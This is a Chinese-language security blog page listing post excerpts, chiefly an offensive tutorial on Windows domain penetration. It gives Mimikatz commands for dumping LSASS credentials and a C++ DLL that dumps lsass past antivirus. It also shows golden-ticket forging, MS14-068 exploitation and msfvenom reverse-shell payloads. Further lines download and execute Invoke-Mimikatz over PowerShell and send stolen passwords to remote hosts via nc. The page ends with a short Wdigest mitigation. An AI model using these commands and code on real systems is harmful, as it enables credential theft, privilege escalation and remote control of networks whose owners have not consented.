- 1月 23 週日 202211:13
asus sabertooth x99 asus sabertooth x99
https://dlsvr04.asus.com.cn/pub/ASUS/mb/LGA2011/X99-E/DT169_X99-E_BIOS_Manual_WEB_20170405.pdf
- 1月 23 週日 202211:10
Windows更新引發Server無限重開機、Hyper-V無法啟動、桌機無法VPN連線
Windows更新引發Server無限重開機、Hyper-V無法啟動、桌機無法VPN連線
- 1月 08 週六 202219:09
FireEye 的開源工具 – CAPA 識別惡意軟件功能

FireEye 的開源工具 – CAPA 識別惡意軟件功能
- 1月 08 週六 202218:57
From User to Domain Admin in (less than) 60 seconds: CVE-2021-42278/CVE-2021-42287

On Patch Tuesday of last November, Microsoft released advisories to address several vulnerabilities in Active-Directory. Analysis of these vulnerabilities showed that by combining CVE-2021-42278 and CVE-2021-42287 it is possible, under default conditions, for a regular user to easily impersonate a domain admin. This means that any domain user can effectively become a domain administrator, which makes these vulnerabilities extremely severe. Moreover, there are already several Github repositories with free-to-use PoC code that facilitates the exploitation of these vulnerabilities.
In this post, we will describe how the exploitation of these vulnerabilities works and show how the attack is mitigated by FortiEDR.
CVE-2021-42278 - Invalid Computer Account Name
Computer account names in Active Directory environments should always end with “$”, however, this is not enforced correctly. The computer account name attribute is “sAMAccountName”. It is possible to see and edit the this attribute manually using the ADSIEdit Tool, as can be seen in Figure 1.
- 12月 02 週四 202122:36
內網滲透|域內持久化與Windows日誌刪除
0x01 金票
可以使用 krbtgt 的 NTLM hash 創建作為任何用戶的有效 TGT。要偽造黃金票據的前提是知道域的 SID 和 krbtgt 賬戶的 hash 或者 AES-256 值。
1.1 收集 krbtgt 密碼信息
privilege::debug
lsadump::lsa /inject /name:krbtgt
可以使用 krbtgt 的 NTLM hash 創建作為任何用戶的有效 TGT。要偽造黃金票據的前提是知道域的 SID 和 krbtgt 賬戶的 hash 或者 AES-256 值。
1.1 收集 krbtgt 密碼信息
privilege::debug
lsadump::lsa /inject /name:krbtgt
- 12月 01 週三 202117:05
Mimikatz使用大全

Mimikatz使用大全
- 12月 01 週三 202109:50
攻擊檢測之域權限維持

1.背景介紹
- 12月 01 週三 202109:44
event ID 4662 CVE-2020-1472

GUID
{1131f6aa-9c07-11d1-f79f-00c04fc2dcd2}
- 12月 01 週三 202109:40
內網滲透-免殺抓取windows hash
內網滲透時,獲得主機管理員許可權後,通常會抓取使用者的明文密碼或hash,進行pth攻擊。
Procdump.exe
procdump.exe -accepteula -ma lsass.exe lsass.dmp
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit
tasklist /svc | findstr lsass.exe 檢視lsass.exe 的PID號
Sqldumper.exe ProcessID 0 0x01100 匯出mdmp檔案
mimikatz.exe "sekurlsa::minidump SQLDmpr0001.mdmp" "sekurlsa::logonPasswords full" exit
powershell免殺
powershell IEX (New-Object Net.WebClient).DownloadString('http://x.x.x.x/ps/Invoke-Mimikatz.ps1'); Invoke-Mimikatz
powershell "$a='IEX((New-Object Net.WebClient).DownloadString(''ht';$b='tp://x.x.x.x/ps/Invoke-Mimikatz.ps1'')); Invoke-Mimikatz';IEX ($a+$b)"
繞過卡巴斯基抓取lsass中密碼
#pragma comment(lib, "Rpcrt4.lib") (引入Rpcrt4.lib庫檔案)
#include <cstdio>
#include <windows.h>
#include <DbgHelp.h>
#include <iostream>
#include <string>
#include <map>
#include <TlHelp32.h>
#pragma comment(lib,"Dbghelp.lib")
using namespace std;
int FindPID()
{
PROCESSENTRY32 pe32;
pe32.dwSize = sizeof(pe32);
HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hProcessSnap == INVALID_HANDLE_VALUE) {
cout << "CreateToolhelp32Snapshot Error!" << endl;;
return false;
}
BOOL bResult = Process32First(hProcessSnap, &pe32);
while (bResult)
{
if (_wcsicmp(pe32.szExeFile, L"lsass.exe") == 0)
{
return pe32.th32ProcessID;
}
bResult = Process32Next(hProcessSnap, &pe32);
}
CloseHandle(hProcessSnap);
return -1;
}
typedef HRESULT(WINAPI* _MiniDumpW)(
DWORD arg1, DWORD arg2, PWCHAR cmdline);
typedef NTSTATUS(WINAPI* _RtlAdjustPrivilege)(
ULONG Privilege, BOOL Enable,
BOOL CurrentThread, PULONG Enabled);
int dump() {
HRESULT hr;
_MiniDumpW MiniDumpW;
_RtlAdjustPrivilege RtlAdjustPrivilege;
ULONG t;
MiniDumpW = (_MiniDumpW)GetProcAddress(
LoadLibrary(L"comsvcs.dll"), "MiniDumpW");
RtlAdjustPrivilege = (_RtlAdjustPrivilege)GetProcAddress(
GetModuleHandle(L"ntdll"), "RtlAdjustPrivilege");
if (MiniDumpW == NULL) {
return 0;
}
// try enable debug privilege
RtlAdjustPrivilege(20, TRUE, FALSE, &t);
wchar_t ws[100];
swprintf(ws, 100, L"%hd%hs", FindPID(), " C:\\1.bin full");
MiniDumpW(0, 0, ws);
return 0;
}
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
dump();
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
mimikatz# sekurlsa::minidump 1.bin
mimikatz# sekurlsa::loginpasswords full
參考連結
- 12月 01 週三 202109:36
dmp文件 mimikatz獲取明文
第01課:Mimikatz 獲取系統密碼攻防研究
Mimikatz 是法國人 benjamin 開發的一款功能強大的輕量級調試工具,本意是用來個人測試,但由於其功能強大,能夠直接讀取 WindowsXP-2012(2016 做了安全防護,需要修改注冊表值,重啟後生效,可以獲取明文密碼)等操作系統的明文密碼而聞名於滲透測試,可以說是滲透必備工具,從早期 1.0 版本到現在的 2.1.1 20180205 版本,其功能得到了很大的提升和擴展。
Mimikatz 最新版本一共三個文件(mimilib.dll、mimikatz.exe、mimidrv.sys),分為 Win32 位(多了一個 mimilove.exe 文件)和 X64 位。通過它們可以提升進程權限、注入進程讀取進程內存,可以直接從 Lsass 中獲取當前登錄過系統用戶的賬號明文密碼。Lsass 是微軟 Windows 系統的安全機制它主要用於本地安全和登錄策略,通常我們在登錄系統時輸入密碼之後,密碼便會儲存在 lsass 內存中,經過其 wdigest 和 tspkg 兩個模塊調用後,對其使用可逆的算法進行加密並存儲在內存之中,而 Mimikatz 正是通過對 Lsass 的逆算獲取到明文密碼!
本文以 Mimikatz 最新版為例,介紹了 Mimikatz 的參數、獲取密碼以及偽造黃金票據獲取域控密碼等用戶,利用 ms14-068 結合 Mimikatz 獲取域控密碼等,最後文中還給出了相應的防範方法,對網絡攻防都具有一定的借鑑意義。
下載及安裝
請單擊這裡獲取最新版下載地址。
下載後解壓縮即可,裡面分為 Win32 和 X64,Win32 是針對 Windows32 位,而 X64 是正對 64位操作系統,目前絕大部分操作系統為 64位(支持大內存的使用)。其相關資源如下:
使用參數詳解
本次測試使用 Win32 版本,將程序解壓後,通過 cmd 進入當前目錄,執行 Mimikatz 程序,如圖1所示,隨便輸入即可獲取幫助信息。
圖1 顯示幫助信息
基本命令
使用模塊
輸入“::”顯示其支持模塊信息。
(1)standard:標准模塊,基本命令,不需要模塊信息。
(2)crypto:加密模塊,其後跟以下參數,其使用命令為 crypto:: 參數名,例如 crypto::providers,如圖2所示。
圖2 參考加密算法提供類型及名單
(3)sekurlsa 枚舉用戶憑證
DPAPI_SYSTEM密碼值。(4)kerberos:Kerberos 包模塊
(5)privilege:特權模塊
(6)process:進程模塊
(7)service:Service module
(8)lsadump:LsaDump module
Lsadump::sam:該命令轉儲安全帳戶管理器(SAM)數據庫,它包含用戶密碼的 NTLM,有時包含 LM 哈希。
在線命令提升模式獲取:
privilege::debug
token::whoami
token::elevate
lsadump::sam
復制
離線獲取,通過以下方式備份 SYSTEM&SAM 配置:
reg save HKLM\SYSTEM SystemBkup.hiv
reg save HKLM\SAM SamBkup.hiv
復制
或者使用 Volue Shadow Copy / BootCD 來備份這些文件:
C:\Windows\System32\config\SYSTEM
C:\Windows\System32\config\SAM
復制
然後執行 mimikatz # lsadump::sam SystemBkup.hiv SamBkup.hiv 即可獲取。
可在線進行破解查詢。
(9)ts 終端服務模塊
(10)event 事件模塊
(11)misc 雜項模塊,打開 cmd、regedit、taskmgr、ncroutemon、detours、wifi、addsid、memssp、skeleton 等。
(12)token:令牌操作模塊
(13)vault:Windows 信任/憑證模塊,Vault::list 列出 Windows 信任/憑證。
(14)net 顯示 user、group、alias、session、wsession、tod、stats、share、serverinfo 等信息。
Mimikatz 獲取密碼
舊版本配合 psexec 密碼獲取方法及命令
bat 腳本獲取法
(1)創建 get.bat 腳本
@echo off
mimikatz.exe <command.txt >pass.txt
exit
復制
(2)創建 command.txt 文件
privilege::debug
inject::process lsass.exe sekurlsa.dll
@getLogonPasswords
Exit
復制
(3)執行 get.bat 文件即可獲取密碼,pass.txt 記錄的即為獲取的密碼,get.bat、command.txt 和 mimikatz.exe 在同一個文件夾下。
Mimikatz 2.0 以上版本獲取系統明文密碼
(1)sekurlsa 獲取
privilege::debug
sekurlsa::logonpasswords
復制
(2)Lsadump 獲取密碼
Lsadump::secrets
復制
利用 ms14-068 漏洞進行攻擊
(1)生成
tgt_zhangsan@admin.com.ccche票據ms14-068.py -u zhangsan@admin.com -p venus123@ -s S-1-5-21-1825629200-489098874-1280338471-1104 -d admin.com
復制
(2)導入票據
mimikatz kerberos::ptc c:/tgt_zhangsan@admin.com.ccche
復制
使用 ps1 批量獲取 Windows 密碼
在 Windows 2008 及以上操作系統中執行命令:
powershell "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds"
復制
注意:獲取密碼的計算機必須能夠訪問 raw.githubusercontent.com 網絡,也可以將該 ps 文件下載到其他地址,然後替換後執行。該腳本目前在 Win2014 中只能獲取 NTLM 值,無法獲取明文密碼,如圖3所示。
圖3 通過 ps 腳本獲取密碼值
MSF 下 Mimikatz 獲取密碼
(1)需要生成一個反彈的可執行程序或者通過漏洞直接獲取一個反彈的 shell。下面是通過 msfvenom 生成 shell:
(1)Linux:msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf
(2)Windows:msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe
(3)Mac:msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.macho
(4)PHP:msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php
(5)asp:msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp
(6)JSP:msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp
(7)WAR:msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f war > shell.war
Scripting Payloads
(8)Python:msfvenom -p cmd/unix/reverse_python LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.py
(9)Bash:msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.sh
(10)Perl:msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.pl
(11)Linux Based Shellcode:msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>
(12)Windows Based Shellcode:msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>
(13)Mac Based Shellcode:msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>
復制
在架構中比較好用的有兩個
cmd/powershell_base64和x86/shikata_ga_nai,下面生成一個實例(反彈的服務器 IP 為 192.168.106.133):msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.106.133 LPORT=4444 -f exe > shell.exe
復制
(2)運行 msfconsole 並設置:
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.106.133
set lport 4444
run或者exploit
復制
(3)在測試計算機上運行 exe 文件。
(4)在 msf 獲取反彈的 shell,如圖5所示。
kerberos 獲取網絡認證協議憑證,其中可能會有明文密碼
msv 獲取msv 憑證,其中包含LM和NTLM哈希密碼值
wdigest 獲取wdigest (摘要式身份驗證)憑證,其中可能會有明文密碼
復制
使用 Mimikatz 偽造 Kerberos 黃金票據
以域控 test.local 為例子,mimikatz 在 c:\test\ 目錄下。
導出 krbtgt 的 Hash
在域控上執行通過 mimkatz 輸出:
mimikatz log "lsadump::dcsync /domain:test.local /user:krbtgt"
復制
找到如下信息:
/domain:test.local
/sid:S-1-5-21-4155807533-921486164-2767329826
/aes256:af71a24ea463446f9b4c645e1bfe1e0f1c70c7d785df10acf008106a055e682f
復制
生成 Golden Ticket
偽造的用戶設置為 god,執行:
mimikatz "kerberos::golden /domain:test.local /sid:S-1-5-21-4155807533-921486164-2767329826 /aes256:af71a24ea463446f9b4c645e1bfe1e0f1c70c7d785df10acf008106a055e682f /user:god /ticket:gold.kirbi"
復制
生成文件 gold.kirbi。
偽造 Golden Ticket 獲得域控權限,導入 Golden Ticket,執行如下命令:
kerberos::ptt c:\test\gold.kirbi
復制
ms14_068 獲取域控密碼
利用 ms14_068 漏洞獲取域控權限
目前網上有 Python 腳本的利用方法,其下載地址請單擊這裡,具體方法如下:
(1)獲取 SID
(2)生成 tgt 文件
ms14-068.py -u antian365@antian365.local -s S-1-5-21-3314867233-3443566213-336233174-500-d DC2. antian365.local
復制
會在當前命令目錄生成一個 TGT_ antian365@ antian365.local.ccache 文件,將該文件復制到 mimikatz 目錄。
(3)導入 tgt 文件
mimikatz.exe log "kerberos::ptc TGT_ antian365@ antian365.local.ccache" exit
復制
(4)查看並獲取域控權限
net use \\DC2. antian365.local\admin$ //註:使用IP可能會失敗
dir \\DC2. antian365.local\c$
復制
(5)klist 查看票據,klist 僅僅在 Win2008 以上可以查看。
MSF 漏洞模塊利用
(1)使用 ms14_068 模塊
use auxiliary/admin/kerberos/ms14_068_kerberos_checksum
set DOMAIN DEMO.LOCAL
set PASSWORD antian365
set USER antian365
set USER_SID S-1-5-21-3314867233-3443566213-336233174-500
set RHOST WIN-T.demo.local
run
復制
生成一個形如
time_default_ip_windows.kerberos_num.bin的文件。(2)導入 bin 文件
kerberos::clist "time_default_ip_windows.kerberos_num.bin" /export/
復制
保存為 0-00000000-antian365@krbtgt-DEMO.LOCAL.kirbi 文件。
(3)使用生成的 kirbi
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 172.16.158.1
exploit
getuid
load mimikatz
kerberos_ticket_use /tmp/0-00000000- antian365@krbtgt-DEMO.LOCAL.kirbi
background
sessions
復制
(4)獲取域控權限
use exploit/windows/local/current_user_psexec
set TECHNIQUE PSH
set RHOSTS WIN-T.demo.local
set payload windows/meterpreter/reverse_tcp
set lhost 172.16.158.1
set SESSION 1
exploit
getuid
復制
Mimikatz 使用技巧
(1)獲取並記錄密碼到 mimikatz.log 文件
mimikatz.exe ""privilege::debug"" ""log sekurlsa::logonpasswords "" exit && dir
復制
(2)輸出到本地 log.txt 文件
mimikatz.exe ""privilege::debug"" ""sekurlsa::logonpasswords"" exit >> log.txt
復制
(3)記錄新密碼到文件
有時候獲取的哈希是舊的,這時需要記錄新的登錄哈希值,可以使用以下命令來記錄,記錄的結果在 c:\windows\system32\mimilsa.log。
mimikatz.exe
privilege::debug
misc::memssp
復制
(4)通過 nc 命令將 mimikatz 執行結果傳輸到遠程
nc -vlp 44444
復制
mimikatz.exe ""privilege::debug"" ""sekurlsa::logonpasswords "" exit | nc.exe -vv 192.168.106.145 4444
復制
(5)通過 nc 命令遠程執行 mimikatz
nc.exe -vlp 4444;nc.exe -vv 192.168.106.145 4444 -e mimikatz.exe。接著就會反彈到 192.168.106.145 的 4444 端口,出來一個 cmd 的窗口,可以在該窗口進行密碼獲取,如圖4所示。
圖4 nc 反彈執行命令
(6)批量獲取域控密碼
通常在域滲透的時候,我們可能想要獲得更多的密碼,針對 server08 以後的服務器獲取 ntds.dit 的 hash 以後還不一定能破解出來,所以可以通過 Mimikatz 來獲取明文密碼,但是一台一台登錄去獲取會很慢且不方便,所以這裡介紹一個批量的方法:
1)創建共享文件夾:
cd\
mkdir open
net share open=C:\open /grant:everyone,full
icacls C:\open\ /grant Everyone:(OI)(CI)F /t
復制
修改注冊表:
reg change HKLM\System\CurrentControlSet\services\LanmanServer\Parameters NullSessionShares REG_MULTI_SZ open
reg change HKLM\System\CurrentControlSet\Control\Lsa "EveryoneIncludesAnonymous" 1
復制
修改共享目錄到 open。
2)在共享目錄添加下列文件:
powershell "IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.11:8080/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds > \\192.168.1.11\open\%COMPUTERNAME%.txt 2>&1
復制
IP 是設置共享的主機 IP 地址。
3)運行 mongoose,默認開啟端口 8080。
4)執行 wmic:
wmic /node:@serverlist.txt process call create "\\192.168.1.11\open\powershellme.cmd"
復制
帶憑證:
wmic /node:@serverlist.txt /user:PROJECTMENTOR\evi1cg /password:123 process call create "\\192.168.1.11\open\powershellme.cmd"
復制
5)在共享目錄看各個服務器的密碼吧。
6)清除記錄:
PS:可以使用如下命令開啟 PowerShell remoting:
psexec @serverlist.txt -u [admin account name] -p [admin account password] -h -d powershell.exe "enable-psremoting -force"
復制
Linux 版本的 Mimikatz 密碼獲取工具 mimipenguin
mimipenguin
Mimikatz 的 Linux 平台仿造版本 mimipenguin(由 @HunterGregal 開發),mimipenguin 需要 root 權限運行,通過檢索內存、/etc/shadow 文件等敏感區域查找信息進行計算,從而提取出系統明文密碼。軟件下載地址請單擊這裡,下載後運行 mimipenguin.sh 即可,如圖5所示。
圖 5 Linux 下直接獲取密碼
支持版本
Kali 4.3.0 (rolling) x64 (gdm3)
Ubuntu Desktop 12.04 LTS x64 (Gnome Keyring 3.18.3-0ubuntu2)
Ubuntu Desktop 16.04 LTS x64 (Gnome Keyring 3.18.3-0ubuntu2)
XUbuntu Desktop 16.04 x64 (Gnome Keyring 3.18.3-0ubuntu2)
Archlinux x64 Gnome 3 (Gnome Keyring 3.20)
OpenSUSE Leap 42.2 x64 (Gnome Keyring 3.20)
VSFTPd 3.0.3-8+b1 (Active FTP client connections)
Apache2 2.4.25-3 (Active/Old HTTP BASIC AUTH Sessions)
openssh-server 1:7.3p1-1 (Active SSH connections - sudo usage)
復制
安全防範 Mimikatz 獲取密碼
參考作者及網上安全防範方法主要有以下三個方法:
在
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Wdigest下新建 UseLogonCredential 值,其類型為 Dword32 位類型,值為 0 即可。參考文章:












